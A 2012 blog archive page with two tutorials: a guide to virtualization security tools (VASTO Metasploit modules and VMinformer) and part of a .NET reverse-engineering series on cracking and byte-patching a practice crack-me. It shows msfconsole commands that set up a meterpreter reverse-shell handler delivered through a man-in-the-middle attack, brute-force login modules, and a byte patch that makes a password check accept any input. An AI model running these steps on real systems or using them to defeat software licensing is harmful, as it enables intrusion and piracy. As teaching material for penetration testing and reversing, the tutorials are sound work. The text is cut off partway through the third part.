Monthly Archives: December 2012

How-to

With the advancement of the technology in the field of computers, requirement for hybrid setups has also escalated. Nowadays every company is using a heterogeneous infrastructure for its variety of tasks. Everybody utilizes a different blend of services, infrastructure and platforms for its operations and service delivery. Sometimes there is a requirement of more than one combination of these technologies; this is where virtualization comes in.

Virtualization can be described as the technique of abstracting physical resources, with the aim of simplification and utilization of the resources with ease. It enhances the capabilities of the present assets of any business and provides easy resources management and utilization, which otherwise would not have been possible. Virtualization can consist of anything from a hardware platform to a storage device or operating system etc. Figure 1 shows a simple hardware level virtualization.

Figure 1. A basic hardware level virtualization

Types of virtualization as described by Wikipedia at http://en.wikipedia.org/wiki/Virtualization are:

Hardware/Platform: Creation of a virtual machine that performs like an original computer with an operating system. The machine on which the virtualization takes place is the host machine and the virtual machine is the guest machine.

Desktop: Concept of separating the logical desktop from the physical machine. The user interacts with the host machine over a network using another device.

Software: OS level virtualization can be described as hosting of multiple virtualization environments within a single OS instance. Application virtualization is hosting of individual applications in an environment separated from the underlying OS. In service virtualization the behavior of dependent system component is emulated.

Memory: Gathering RAM resources from networked systems into a single memory pool.

Storage: Masking logical storage from physical storage.

Data: Presentation of data as an abstract layer.

Network: Creation of a virtualized network addressing space within or across network subnets.

Many factors need to be considered while virtualizing, like storage requirements, processing capabilities, and client cluster size. One thing which should be the top priority is security. Observing the recent trends in the field of computer technology, we can firmly state that cloud computing relies heavily (but not completely) on virtualization. This technology, being used around the globe, brings a serious question before us.

Is virtualization technology really secure, or are we just assuming it to be? Depending upon the cloud architecture, virtualization security can directly lead to cloud security.

People generally think of virtualization security to be the same as OS security, however it is vastly different. Intrusion into a single operating system will only affect that OS and its user(s), whereas intrusion into virtualization will compromise the whole environment. The intruder will be able to take control of all the virtualized operating systems and hence affect the user(s). The potential threats for virtualization is:

Guest to Guest
Host to Host
Guest to Host
Host to Guest
External to Guest
External to Host

A press release by Gartner (an information technology research and advisory firm), titled “60 Percent of Virtualized Servers Will Be Less Secure Than the Physical Servers They Replace Through 2012″ outlines the six most common virtualization security risks. The risks are as follows:

“Information Security Isn’t Initially Involved in the Virtualization Projects

A Compromise of the Virtualization Layer Could Result in the Compromise of All Hosted Workloads

The Lack of Visibility and Controls on Internal Virtual Networks Created for VM-to-VM Communications Blinds Existing Security Policy Enforcement Mechanisms

Workloads of Different Trust Levels Are Consolidated Onto a Single Physical Server Without Sufficient Separation

Adequate Controls on Administrative Access to the Hypervisor/VMM Layer and to Administrative Tools Are Lacking

There Is a Potential Loss of Separation of Duties for Network and Security Controls”

The complete press release can be found at http://www.gartner.com/it/page.jsp?id=1322414.

Keeping in mind the same problem, Claudio Criscione, a security researcher and consultant released VASTO. VASTO or Virtualization Assessment Toolkit is a first of its kind tool, designed with the sole purpose of assessing the security of different virtualization solutions including VMware, Oracle and Xen server. VASTO consists of a set of modules which can easily be integrated into existing exploitation framework Metasploit. The current version of VASTO is 0.4. The user simply needs to download it from http://vasto.nibblesec.org/VASTO.0.4.zip.

Figure 2 demonstrates the process. I feel it is better if the user renames the extracted folder to VASTO. Further the folder needs to be copied into the Metasploit auxiliary directory (recursively –r). The Metasploit framework already consists of auxiliary modules for scanning VMware, and VASTO simply expands it.

Figure 2. Downloading and extracting the toolkit

To see all the modules present in VASTO simply input the following command into the msfconsole. The process is demonstrated in Figure 3.

Msf > search vasto

Figure 3. VASTO modules

The vmware_version module is a very basic module and provides the functionality to test the version of the VMware application running at the specified addresses or subnet. This is useful for the recon phase of testing. It provides the tester with a clear picture of the testing environment and helps him/her decide to utilize specific exploits (if available). Figure 4 shows the execution of vmware_version module.

Figure 4. vmware_version module in action (Source: http://www.s3cur1ty.de/vmware-attack-toolkit-vasto)

After the identification phase, the next best thing to do is to try to login into the machine using the vmware_login module. This module allows dictionary based as well as brute force login attempt and reports successful login attempt. This single module could allow the tester/intruder to own the machine if strong password policies are not in place.

Figure 5. Successful login demonstrated using the vmware_login module (Source: http://www.s3cur1ty.de/vmware-attack-toolkit-vasto)

The next attack in the arsenal of VASTO is the lurking attack using the vmware_vilurker module. The dictionary meaning of lurking is to exist unobserved or unsuspected, and that is exactly what this module does.

The vilurker module can perform user-assisted code execution, provided a Man-in-the-Middle (MITM) attack can be performed on the client.

A Man-in-the-Middle (MITM) is a kind of attack in which the attacker sits between the victims by making independent connections and relaying messages between them. It’s a kind of active eavesdropping. The victims believe that they are interacting directly to each other. The success of this attack depends on the fact that the attacker is successfully able to impersonate each endpoint to the satisfaction of the other. A more detailed description can be found at the OWASP website https://www.owasp.org/index.php/Man-in-the-middle_attack.

After performing a MITM (using ‘Cain & Able or ‘ettercap’) between the client and the server, the first step to perform this attack is to start a multi-handler in the second msfconsole. This will be used later to connect a meterpreter reverse_tcp shell. The handler can simply be started by inputting the following command in a separate meterpreter instance:

msf > use multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST <Local Host IP here>
msf exploit(handler) > exploit

Now we need to set the necessary options in the first instance of the Metasploit, for the vilurker module and execute it using the run command. When the client tries to connect to the server, it will encounter a popup, which is actually a meterpreter payload. If the user executes this, the attacker will get a shell in his/her second meterpreter instance running the handler. Figure 6 and 7 demonstrate the vmware_vilurker module presenting the payload to the client and gaining a shell.

Figure 6. vmware_vilurker module presenting a meterpreter payload to the user (Source: http://www.s3cur1ty.de/vmware-attack-toolkit-vasto)

Figure 7. Accessing the shell (Source: http://www.s3cur1ty.de/vmware-attack-toolkit-vasto)

A list of the modules present in VASTO is as following:

abiquo_guest_stealer – Abiquo guest stealer

abiquo_poison – Abiquo poison

eucalyptus_bouncer – Eucalyptus Bouncer

eucalyptus_poison – Eucalyptus Poison

oraclevm_oravma_fileread – Oracle VM agent remote code execution

vmware_autopwner – VMautopwn

vmware_guest_stealer – VMware Guest Stealer

vmware_login – VMware Login check scanner

vmware_session_rider – VMware Session Rider

vmware_studio_upload – VMware Studio<2.0.0.946-172280 Remote Code Execution

vmware_updatemanager_traversal – Update manager path traversal

vmware_version – VMware products fingerprinter

vmware_vilurker – VIlurker VIclient attack

vmware_webaccess_portscan – VMware Web Access Relay Port Scanner

xen_login – Xen Login Check Scanner

oracle_oravma_exec – Oracle VM agent remote code execution

vmware_sfcbd_exec – VMware VAMI-sfcbd remote code exec

vmware_tomcat_killer – VMware tomcat killer

VASTO is one of its kind toolkit which provides the functionality to audit a virtual environment for all the layers:

Client
Hypervisor
Support
Management
Internal

We hope that it will soon get updated with additional features and exploits to test the virtualization in greater depths.

Another tool of the trade for virtualization security is VMinformer. VMinformer is not developed from an intruder’s point of view, but from a security audit point of view. Unlike VASTO which provides the options of intrusion into the environment VMinformer allows auditing the environment based on security standards. A 14-day trial can be downloaded from http://www.vminformer.com.

The main aim of VMinformer is to audit a virtual environment using policies. Policies are basically security benchmarks which can be molded according to the requirements. VMinformer generates a report after the audit based on the security / insecurity of the environment.

VMinformer is simple to install and utilize. The first step the user needs to perform after the installation is to start a Policy Assessment Wizard as demonstrated in Figure 8. After inputting the server address and the credentials, the VMinformer will try to connect to the server. Then it provides the option to select the hosts and machines that need to be assessed and it inputs the root credentials for them.

Figure 8. Input the server address and credentials

Further the user can select the policies he/she wants to use to audit the environment with and start the scan. Once the scan is finished, it displays the results of the audit within the main dashboard.

Figure 9 displays the interface of the application. The interface is divided into three main parts. The ‘Environment’ which displays the virtual machines in the environment. The ‘Dashboard’ which shows the result of the scan. The ‘Summary’ which presents the information about each issue. The VMinformer dashboard presents the results of the scan in a detailed manner, with a complete description of the issue, the entity involved, the risk level and the remedy.

Figure 9. VMinformer interface

After the completion of the assessment process the results can be saved in XML or PDF format. Currently VMinformer supports VMware virtualized OS, but support for other vendors can be expected in the near future. VMinformer provides complete visibility, assurance and control for the virtualization environment.

VMinformer checks for the presence of:

Misconfiguration
Missing security patches
Bad network scheme
Weakness in management layers
Storage misconfiguration

Ensuring secure communication between/with virtual machines is of utmost importance; hence some robust solutions are required. Such solutions are offered by Vyatta, in the form of Linux based open source software which provides services like routing, intrusion prevention system, and virtual private network, load balancing, etc. These virtual firewall and routers can easily be deployed on top of the hypervisor. Solutions provided by Vyatta like enterprise class the SPI firewall allows us to define and implement control policies. Remote access to the resources is secured using the encryption and authentication mechanisms. It also allows monitoring threats and stopping them. Considering the features and the open source nature of Vyatte Core software (VC), it’s a must have product for every testing and development virtual environment. A copy of the product can be downloaded from http://www.vyatta.org/downloads.

Conclusion

Virtualization technology provides easy maintenance and utilization of the resources. From the point of view of a pen tester it presents a vast platform where a single intrusion can lead towards the exploitation of a huge environment. Hence there is a need for inspecting virtualization security. Tools like VASTO and VMinformer provide worthy assistance in this direction. Security personnel need to follow some basic guidelines so that they can stop an intruder from taking over their virtualization environment.

Patch everything: This is one of the basic practices in the field of cyber security, but often ignored. Everything from the virtualization system to the underlying operating systems and the applications running need to be patched regularly.

Not exposing the test environment to the Internet: Exposing the environment to the open Internet poses a serious threat to the infrastructure, as a vulnerable application might lead to the exploitation of the complete environment. In case of exposure, proper isolation of other environments needs to be done.

Strong password policies: Persons in charge of the security need to make sure that strong password policies are implemented and followed by employees.

Education and awareness: It is said that the weakest link in the chain of security is people, hence employees need to be educated and made aware of the best security practices and how to implement them so that an ignorant employee does not lead to a compromised environment.

.NET Reversing

Leave a reply

reblogged from :

Demystifying Dot NET Reverse Engineering, Part 1: Big Introduction

This, and all upcoming parts, are made with a strict and pure educational purpose just to gain insights into dot NET programs. What you’re going to do with this and all upcoming parts is your own responsibility. I will not be held responsible for your eventual action and use of this.

All techniques used in this and all upcoming parts have been used only to demonstrate theories and methods described. The scope of this paper and all upcoming parts as well as any other paper written by me (Soufiane Tahiri) is of sharing knowledge and improving reverse engineering techniques.
And please note that disassembling and / or reversing software is prohibited by almost all international laws, if you like software then please BUY IT.

Introduction

This will be a kind of “saga” of papers that will talk essentially talk about dot NET oriented reverse engineering. We are already on the stable version 4.5 (4.5.50709) / 15 August 2012 of Microsoft .NET Frameworks for Visual Studio 2012 and distributed with Windows 8, Windows Server 2012, but we are still not seeing enough papers about reversing applications developed using dot NET technology.

I’ll try to fill this lack of papers, and this first article is supposed to be a part of an upcoming series that would explain some basics and clarify dot NET architecture to the extent of making a few concepts clearer for reverse engineers.

Before starting, I strongly recommend you take a few hours to teach yourself at least one of the dot NET languages, and I recommend either Visual Basic .NET or C#. It may seem to some that reversing dot NET programs is way easier then reversing “traditional” programs, which is wrong in my point of view.

The concept of dot NET can be easily compared to the concept of JAVA and Java Virtual Machine, at least when talking about compilation. Unlike most traditional programming languages like C/C++, applications developed using dot NET frameworks are compiled to a Common Intermediate Language (CIL or Microsoft Common Intermediate Language MSIL) – which can be compared to bytecode when talking about Java programs – instead of being compiled directly the native machine executable code, the Dot Net Common Language Runtime (CLR) will translate the CIL to the machine code at runtime.

This will definitely increase execution speed, but has some advantages since every dot NET program will keep all classes’ names, functions’ names variables and routines’ names in the compiled program, and this, from a programmer’s point of view, is such a great thing since we can make different parts of a program using different programming languages available and supported by frameworks.

Figure 1. Visual overview of the Common Language Infrastructure (CLI) / Wikipedia

What does this mean to a reverse engineer?

Basically every compiled dot NET application is not more than its Common Intermediate Language representation, which still has all the pre-coded identifiers just the way they were typed by the programmer.

Technically, knowing this Common Intermediate Language will simply lead to identifying high level language instructions and structure, which means that from a compiled dot NET program we can reconstitute back the original dot NET source code, with even the possibility of choosing to which dot NET programming language you want this translation to be made and this is a pretty annoying thing!

When talking about dot NET applications, we talk about “reflection” rather than “decompilation”, this is a technique which lets us discover class information or assembly at runtime, this way we can get all properties, methods, functions, etc. with all parameters and arguments, we can also get all interfaces, structures, etc.

Nowadays there are plenty of tools that can “reflect” the source code of a dot NET compiled executable; a good and really widely used one is “Reflector” with which you can browse classes, decompile and analyze dot NET programs and components. It allows browsing and searching CIL instructions, resources and XML documentation stored in a dot NET assembly. But this is not the only tool we will need when reversing dot NET applications. I’ll try to introduce each one every time we are in need of it.

What will you learn from this first paper?

This first essay will show you how to deal with Reflector to reverse a very simple practice oriented Crack-ME I did the very basic way, and it does not pretend to explain real software protection (that will come via the next articles).

Let’s practice

Our Crack-ME is a simple one form dot NET application that asks us for a password. I made it to show you some very basics about dot NET reverse engineering, usually we start by looking at the target and see its behavior, this way we can determinate what should we look for!

This displays a nasty message box when filling in a bad password:

Let us now see why this piece of compiled code shows us “Invalid password”. Open up Reflector, at this point we can configure Reflector via the language’s drop down box in the main toolbar, and select whatever language you may be familiar with. I’ll choose Visual Basic, but the decision is up to you of course.

Figure 2. Choosing the main language

Load this Crack-ME up into it (File > Open menu) and look for anything that would be interest us.
Technically, the Crack-ME is analyzed and placed in a tree structure. We will develop nodes that interest us:

Figure 3. Our Crack-ME is loaded up

You can expand the target by clicking the “+” sign:

Keep on developing the tree and see what is inside of this Crack-ME:

Now we can see that our Crack-ME is composed of References, Code and Resources.

Code: this part contains the interesting things, and everything we will need at this point is inside of InfoSecInstitute_dotNET_Reversing (which is a Namespace).
References: is similar to “imports”, “includes” used in other PE files.
Resources: for now this is irrelevant to us, but it is similar to ones in other Windows programs.

By expanding the code node we will see the following tree:

Reflector detects the only form our Crack-ME has called Form1, with all variables, procedures, functions and Graphical User Interface elements, and as explained above it recognized original names, which makes things easier for us and lets us guess what everything is supposed to do. For example, the function btn_Chk_Click(Object, EventArgs) that seems to be triggered when the button “btn_Chk” is clicked, btn_About_Click(Object, EventArgs) which is presumably called when button “btn_About” is clicked…

Since this is an application to practice, it has not a lot of forms and functions, which makes things easier for us; we can now say that what interests us is what the function btn_Chk_Click () has to say. We want to know what our Crack-ME actually does once we click on btn_Chk, and this can be translated to the language we choose (refer to Figure 2).

To see actual source code, double click on the function name. Reflector shows us the decompiled source code in the language chosen, in this example we will get:

Nothing magical, we can see clearly as sun what this function does, everyone with very basic knowledge in any programming language can see that this function / procedure tests if the password typed is “p@55w0rd!”, and by checking this we get:

This is pretty easy! We can explore more abilities like patching this Crack-ME to accept all typed passwords, which will be certainly the next part of this course.

I tried to avoid giving you complex explanations regarding dot NET application and decided not to flood you in this first part with information that may discourage you. I tried to show you the clearest way to deal with a very basic protection, hopefully this taught you few more things that matter while reversing dot NET programs. In the next parts, I’ll try to introduce more in-depth knowledge about how dot NET programs really work

References

http://en.wikipedia.org/wiki/.NET_Framework
Link to download Crack-ME #1 http://www.mediafire.com/?yjoh2f6bv4d6n4i
Google for Reflector!

Demystifying dot NET reverse engineering – PART 2: Introducing Byte Patching

Introduction

We covered in the first part the very basics regarding dot NET programs, how they are compiled (which we will see again a little bit more in depth) and how we can see inside them using Reflector. We saw how easy is to bypass protections based on hardcoded serials or passwords, this was really very basic and almost always we have to do more to go in depth of real programs protections.

Practicing reverse engineering in general, and not only when we talk about reversing dot NET programs, is not only about getting serials or passwords; reverse engineering is the art of playing with bytes, it’s about changing bytes to alter functionalities, to disable or to enable some of them, in some cases it’s used to add some entire functionalities, and this is not always a simple task. To do this, mastering assembly is a must, and not only this, but finding in the program the right place and figuring out what bytes to change. This is not usually a simple thing.

In this paper and the upcoming one, we will try to practice some byte changing (commonly called “patching”) practices using different homemade targets. We will reuse the first file, which is “CrackMe#1-InfoSecInstitute-dotNET-Reversing”, and a second target that will be “ReverseMe#1-InfoSecInstitute-dotNET-Reversing”.

Compiling dot NET

As seen in the first part, every dot NET program is coded using some high level dot NET programming language (vb.NET, C#…) and when compiling, this high level programming language is taken to a low level one which is Microsoft Intermediate Language (MSIL) and can be considered as the lowest common denominator for dot NET. We can build a full application using nothing but only MSIL, and though this is not interesting from a point of view of a “dot NET developer”, it may be more helpful as it gives an insight into how Common Language Runtime (CLR) actually works and runs our high level code.

Just like Java and Java Virtual Machine, any dot NET program is first compiled (if we can permit saying this) to a IL or MSIL language and is executed in a runtime environment: Common Language Runtime (CLR), and then is recompiled or converted on its execution to local native instructions like x86 or x86-64, which are set depending on what type of processor is currently used. This is done by Just In Time (JIT) compilation used by the CLR.

To recapitulate, the CRL uses a JIT compiler to compile the IL (or MSIL) code which is stored in a Portable Executable (our compiled dot NET high level code) into platform specific code, and then the native code is executed. This means that dot NET is never interpreted, and the use of IL and JIT is to ensure the dot NET code is portable.

The figure below demonstrates this process:

Understanding MSIL

The aim of this paper is to introduce you to some new IL instructions. Beyond the obvious curiosity factor, understanding IL and how to manipulate it will just open the doors of playing around with any dot NET programs and in our case, figuring out our program’s security systems weakness.

Before going ahead, it’s wise to say that CLR executes the IL code. Allowing this way of making operations and manipulating data, the CRL does not handle directly the memory, it uses instead a stack, which is an abstract data structure which works according to the “last in first out” basis. We can do two important things when talking about the stack: pushing and pulling data. By pushing data or items into the stack, any already present items just go further down in this stack. By pulling data or items from the stack, all present items move upward toward the beginning of it. We can handle only the topmost element of the stack.

Well, let’s return back to our “CrackMe#1-InfoSecInstitute-dotNET-Reversing”. By typing in a wrong password, the Crack ME shows us this message box:

We got in the first part of “Demystifying dot NET reverse engineering” the hard coded password, now we will see how to force this Crack Me into accepting all wrong passwords by only changing some bytes.

Let’s go back to our Crack ME #1 opened into Reflector. We have the original source code that checks the password typed:

private
void
btn.Chk.Click(object sender, EventArgs e)

{

if (this.txt.Pwd.Text == “p@55w0rd!”)

{

Interaction.MsgBox(“Congratulations !”, MsgBoxStyle.Information, “Correct!”);

}

else

{

Interaction.MsgBox(“Invalid password”, MsgBoxStyle.Critical, “Error!”);

}

And by switching to IL code view we get this:

.method
private
instance
void
btn.Chk.Click(object sender, class [mscorlib]System.EventArgs e) cil managed

{

.maxstack 3

L.0000: ldarg.0

L.0001: callvirt instance
class [System.Windows.Forms]System.Windows.Forms.TextBox
InfoSecInstitute.dotNET.Reversing.Form1::get.txt.Pwd()

L.0006: callvirt instance
string [System.Windows.Forms]System.Windows.Forms.TextBox::get.Text()

L.000b: ldstr “p@55w0rd!”

L.0010: ldc.i4.0

L.0011: call int32 [Microsoft.VisualBasic]Microsoft.VisualBasic.CompilerServices.Operators::CompareString(string, string, bool)

L.0016: ldc.i4.0

L.0017: bne.un.s L.002d

L.0019: ldstr “Congratulations !”

L.001e: ldc.i4.s 0×40

L.0020: ldstr “Correct!”

L.0025: call valuetype [Microsoft.VisualBasic]Microsoft.VisualBasic.MsgBoxResult [Microsoft.VisualBasic]Microsoft.VisualBasic.Interaction::MsgBox(object, valuetype [Microsoft.VisualBasic]Microsoft.VisualBasic.MsgBoxStyle, object)

L.002a: pop

L.002b: br.s L.003f

L.002d: ldstr “Invalid password”

L.0032: ldc.i4.s 0×10

L.0034: ldstr “Error!”

L.0039: call valuetype [Microsoft.VisualBasic]Microsoft.VisualBasic.MsgBoxResult [Microsoft.VisualBasic]Microsoft.VisualBasic.Interaction::MsgBox(object, valuetype [Microsoft.VisualBasic]Microsoft.VisualBasic.MsgBoxStyle, object)

L.003e: pop

L.003f: ret

}

This is the direct representation of the internal Intermediate Language, and this is the level we will be prompted to deal with to make changes. As said above, dot NET is essentially a stack machine, and we will need some references to understand what this IL code means. We can find a listing of all IL assembly instructions and their use. I’ll try to expose and explain the most important ones relative to reverse engineering uses.

IL Instructions start right after the “.maxstack #” line, the first line is L.0000: ldarg.0 which loads argument 0 onto the stack, and this may be easily compared to NOP instruction in traditional assembly code, but its actual byte code is “00″, not “90″ as in x86 assembly. If we open any program using the hexadecimal editor, we will find a series of byte codes from the first line to the last one, which is byte code representing every IL instruction composing our program, and this is what we can change to let the program do things which are not “supposed” to be done when we want to invert some tests or jumps or alter any part of the code.

The use of a hexadecimal editor is in some ways the traditional “dirty” way to replace actual bytes; we will discover how to do it this way and we’ll see how other more “clean” ways work. To locate the offset of bytes we want to change in our hexadecimal editor, we have to look for these bytes to locate the series of bytes we are willing to change.

Every IL instruction has its specific byte representation. I’ll try to introduce to you a non-exhaustive list of most important IL instructions, their functions and the actual bytes representation, and you are not supposed to learn them but use this list as a kind of reference:

IL Instruction	Function	Byte representation
And	Computes the bitwise AND of two values and pushes the result onto the evaluation stack.	5F
Beq	Transfers control to a target instruction if two values are equal.	3B
Beq.s	Transfers control to a target instruction (short form) if two values are equal.	2E
Bge	Transfers control to a target instruction if the first value is greater than or equal to the second value.	3C
Bge.s	Transfers control to a target instruction (short form) if the first value is greater than or equal to the second value.	2F
Bge.Un	Transfers control to a target instruction if the first value is greater than the second value, when comparing unsigned integer values or unordered float values.	41
Bge.Un.s	Transfers control to a target instruction (short form) if the first value is greater than the second value, when comparing unsigned integer values or unordered float values.	34
Bgt	Transfers control to a target instruction if the first value is greater than the second value.	3D
Bgt.s	Transfers control to a target instruction (short form) if the first value is greater than the second value.	30
Bgt.Un	Transfers control to a target instruction if the first value is greater than the second value, when comparing unsigned integer values or unordered float values.	42
Bgt.Un.s	Transfers control to a target instruction (short form) if the first value is greater than the second value, when comparing unsigned integer values or unordered float values.	35
Ble	Transfers control to a target instruction if the first value is less than or equal to the second value.	3E
Ble.s	Transfers control to a target instruction (short form) if the first value is less than or equal to the second value.	31
Ble.Un	Transfers control to a target instruction if the first value is less than or equal to the second value, when comparing unsigned integer values or unordered float values.	43
Ble.Un.s	Transfers control to a target instruction (short form) if the first value is less than or equal to the second value, when comparing unsigned integer values or unordered float values.	36
Blt	Transfers control to a target instruction if the first value is less than the second value.	3F
Blt.s	Transfers control to a target instruction (short form) if the first value is less than the second value.	32
Blt.Un	Transfers control to a target instruction if the first value is less than the second value, when comparing unsigned integer values or unordered float values.	44
Blt.Un.s	Transfers control to a target instruction (short form) if the first value is less than the second value, when comparing unsigned integer values or unordered float values.	37
Bne.Un	Transfers control to a target instruction when two unsigned integer values or unordered float values are not equal.	40
Bne.Un.s	Transfers control to a target instruction (short form) when two unsigned integer values or unordered float values are not equal.	33
Br	Unconditionally transfers control to a target instruction.	38
Brfalse	Transfers control to a target instruction if value is false, a null reference (Nothing in Visual Basic), or zero.	39
Brfalse.s	Transfers control to a target instruction if value is false, a null reference, or zero.	2C
Brtrue	Transfers control to a target instruction if value is true, not null, or non-zero.	3A
Brtrue.s	Transfers control to a target instruction (short form) if value is true, not null, or non-zero.	2D
Br.s	Unconditionally transfers control to a target instruction (short form).	2B
Call	Calls the method indicated by the passed method descriptor.	28
Clt	Compares two values. If the first value is less than the second, the integer value 1 (int32) is pushed onto the evaluation stack; otherwise 0 (int32) is pushed onto the evaluation stack.	FE 04
Clt.Un	Compares the unsigned or unordered values value1 and value2. If value1 is less than value2, then the integer value 1 (int32) is pushed onto the evaluation stack; otherwise 0 (int32) is pushed onto the evaluation stack.	FE 03
Jmp	Exits current method and jumps to specified method.	27
Ldarg	Loads an argument (referenced by a specified index value) onto the stack.	FE 09
Ldarga	Load an argument address onto the evaluation stack.	FE 0A
Ldarga.s	Load an argument address, in short form, onto the evaluation stack.	0F
Ldarg.0	Loads the argument at index 0 onto the evaluation stack.	02
Ldarg.1	Loads the argument at index 1 onto the evaluation stack.	03
Ldarg.2	Loads the argument at index 2 onto the evaluation stack.	04
Ldarg.3	Loads the argument at index 3 onto the evaluation stack.	05
Ldarg.s	Loads the argument (referenced by a specified short form index) onto the evaluation stack.	0E
Ldc.I4	Pushes a supplied value of type int32 onto the evaluation stack as an int32.	20
Ldc.I4.0	Pushes the integer value of 0 onto the evaluation stack as an int32.	16
Ldc.I4.1	Pushes the integer value of 1 onto the evaluation stack as an int32.	17
Ldc.I4.M1	Pushes the integer value of -1 onto the evaluation stack as an int32.	15
Ldc.I4.s	Pushes the supplied int8 value onto the evaluation stack as an int32, short form.	1F
Ldstr	Pushes a new object reference to a string literal stored in the metadata.	72
Leave	Exits a protected region of code, unconditionally transferring control to a specific target instruction.	DD
Leave.s	Exits a protected region of code, unconditionally transferring control to a target instruction (short form).	DE
Mul	Multiplies two values and pushes the result on the evaluation stack.	5A
Mul.Ovf	Multiplies two integer values, performs an overflow check, and pushes the result onto the evaluation stack.	D8
Mul.Ovf.Un	Multiplies two unsigned integer values, performs an overflow check, and pushes the result onto the evaluation stack.	D9
Neg	Negates a value and pushes the result onto the evaluation stack.	65
Newobj	Creates a new object or a new instance of a value type, pushing an object reference (type O) onto the evaluation stack.	73
Not	Computes the bitwise complement of the integer value on top of the stack and pushes the result onto the evaluation stack as the same type.	66
Or	Compute the bitwise complement of the two integer values on top of the stack and pushes the result onto the evaluation stack.	60
Pop	Removes the value currently on top of the evaluation stack.	26
Rem	Divides two values and pushes the remainder onto the evaluation stack.	5D
Rem.Un	Divides two unsigned values and pushes the remainder onto the evaluation stack.	5E
Ret	Returns from the current method, pushing a return value (if present) from the caller’s evaluation stack onto the caller’s evaluation stack.	2A
Rethrow	Re throws the current exception.	FE 1A
Stind.I1	Stores a value of type int8 at a supplied address.	52
Stind.I2	Stores a value of type int16 at a supplied address.	53
Stind.I4	Stores a value of type int32 at a supplied address.	54
Stloc	Pops the current value from the top of theevaluation stack and stores it in a the local variable list at a specified index.	FE 0E
Sub	Subtracts one value from another and pushes the result onto the evaluation stack.	59
Sub.Ovf	Subtracts one integer value from another, performs an overflow check, and pushes the result onto the evaluation stack.	DA
Sub.Ovf.Un	Subtracts one unsigned integer value from another, performs an overflow check, and pushes the result onto the evaluation stack.	DB
Switch	Implements a jump table.	45
Throw	Throws the exception object currently on the evaluation stack.	7A
Xor	Computes the bitwise XOR of the top two values on the evaluation stack, pushing the result onto the evaluation stack.	61

Now that we have a quite good IL instructions reference, we can get back to Reflector and our Crack Me to start imagining how we can get rid of its protection:

We can see from the picture above that the portion of code:

private
void
btn_Chk_Click(object sender, EventArgs e)

{

if (this.txt_Pwd.Text == “p@55w0rd!”)

{

Interaction.MsgBox(“Congratulations !”, MsgBoxStyle.Information, “Correct!”);

Is just translated to this:

L_0010: ldc.i4.0

L_0011: call int32 [Microsoft.VisualBasic]Microsoft.VisualBasic.CompilerServices.Operators::CompareString(string, string, bool)

L_0016: ldc.i4.0

L_0017: bne.un.s L_002d

L_0019: ldstr “Congratulations !”

L_001e: ldc.i4.s 0×40

L_0020: ldstr “Correct!”

L_0025: call valuetype [Microsoft.VisualBasic]Microsoft.VisualBasic.MsgBoxResult [Microsoft.VisualBasic]Microsoft.VisualBasic.Interaction::MsgBox(object, valuetype [Microsoft.VisualBasic]Microsoft.VisualBasic.MsgBoxStyle, object)

Using the IL instructions reference we get:

Call: Calls the method indicated by the passed method descriptor, which in this case calls the string comparison method
ldc.i4.0: Pushes the integer value of 0 onto the evaluation stack as an int32.
bne.un.s: Transfers control to a target instruction (short form) when two unsigned integer values or unordered float values are not equal.
Ldstr: Pushes a new object reference to a string literal stored in the metadata.

At this point only bne.un.s seems interesting and worth more explanation. If statements are in Intermediate Language, they are translated to a branch instruction, so bne stands for brach if not equal (BranchNotEqual) and it’s used if the two values on the top of a stack are not equal. Then it jumps to line L_002d as you can see:

L_0016: ldc.i4.0

L_0017: bne.un.s L_002d

L_0019: ldstr “Congratulations !”

This starts making sense, and lets us think about how we can bypass typing in a valid password. Instead of showing “Congratulations!” if the password is correct, we can reverse it and force the program into showing us this message if a password is not correct. The instruction that does this is Beq.s which is, “Transfers control to a target instruction (short form) if two values are equal” (refer to the reference list above).

Problems:

Technically we have two problems. First, we need to find out byte representation of the IL instruction we want to change. Second we do not have an actual offset of the instruction to go there directly in a hexadecimal editor.

Solutions:

Referring the list above we see that bne.un.s = 0×33 and Beq.s = 0x2E; to find the location in file where we have to make changes, we have to translate a few instructions to make a long enough searching string to find what we are looking for.

Always referring to the list above we get:

ldc.i4.0 = 0×16, bne.un.s L_002d = 0×33 and 0x?? Value representing the L_002d and ldstr = 0×72

So our searching string will look like 1633??72. Of course, using “??” means the use of regular expressions when doing search and means the use of a wildcard, and this depends on which hexadecimal editor you use. I’ll use WinHex but you are free to use whatever hexadecimal editor you want:

Here we have to edit 16331472 to 162E1472. Always think about making backups before doing any changes just in case.

Testing our change

Let’s now run our modified / patched version of our Crack Me and see if what we did is right:

Seems all right, but let’s just see what our byte changing actually looks like inside Reflector:

And by switching to IL view mode we can see:

This still is a basic dot NET byte patching process, but is necessary to start from basics before dealing with many more relatively complicated things. We will see in the next chapter some advanced byte patching techniques and how to deal with them.

References

http://en.wikipedia.org/wiki/List_of_CIL_instructions
Link to download Crack Me#1 http://www.mediafire.com/?yjoh2f6bv4d6n4i
Google for Reflector
Google for WinHex

Demystifying dot NET reverse engineering – PART 3: Advanced Byte Patching

In the first two parts, we saw some basics that will let you reverse-engineer some dot NET applications; we covered the concepts of dot NET compilation, we presented Microsoft Common Intermediate Language, we analyzed some low-level code using code reflection, and we saw a nonexhaustive list of IL instructions with their functions and their byte representations.

We also covered the basics of byte patching, how to find the location of bytes we want to change in a hexadecimal editor, and how to change them.

In this part of our dot NET reverse engineering series I will introduce you to some advanced byte patching as well as a concept of a basic aspect of license check protection and how we can reverse-engineer it (as requested by readers). We will introduce new tools as well, and see how we can deal with them.

The deal

In this practice, I have tried to respond to a few questions and suggestions regarding the two first parts. I tried to simulate in this second Crack Me a “real” software protection with disabled button, disabled feature, and license check protection; our third practice looks like this:

So basically we have to enable the first button, which has the “Enable Me” caption; by clicking it we will get the “Save as…” button enabled, which will let us simulate a file-saving feature. We will see where the license check protection is triggered later in this article.

Let’s disassemble our target using ILSpy, which is very similar to Reflector so we will not need to present it (a link to download it is in the References). Once analyzed, our Crack Me is placed on a tree structure very similar to Reflector’s. By expanding nodes we see the following:

We can already clearly see some interesting methods with their original names, which is great. We have only one form in this practice, so let’s see what “Form1_Load(object, EventArgs) : void” has to say. We can see actual code just by clicking on the method’s name, and we get this:

If you have any coding background you can easily guess that “this.btnEnableMe.Enabled = false;” is responsible for disabling the component “btnEnableMe” which is a button, in our case. At this point, it’s important to see the IL and the byte representation of the code we are seeing. Let’s switch to IL view and see:

.method private
instance void Form1_Load (
object sender,
class [mscorlib]System.EventArgs e
) cil managed
{
// Method begins at RVA 0x1b44c
// Code size 29 (0x1d)
.maxstack 2
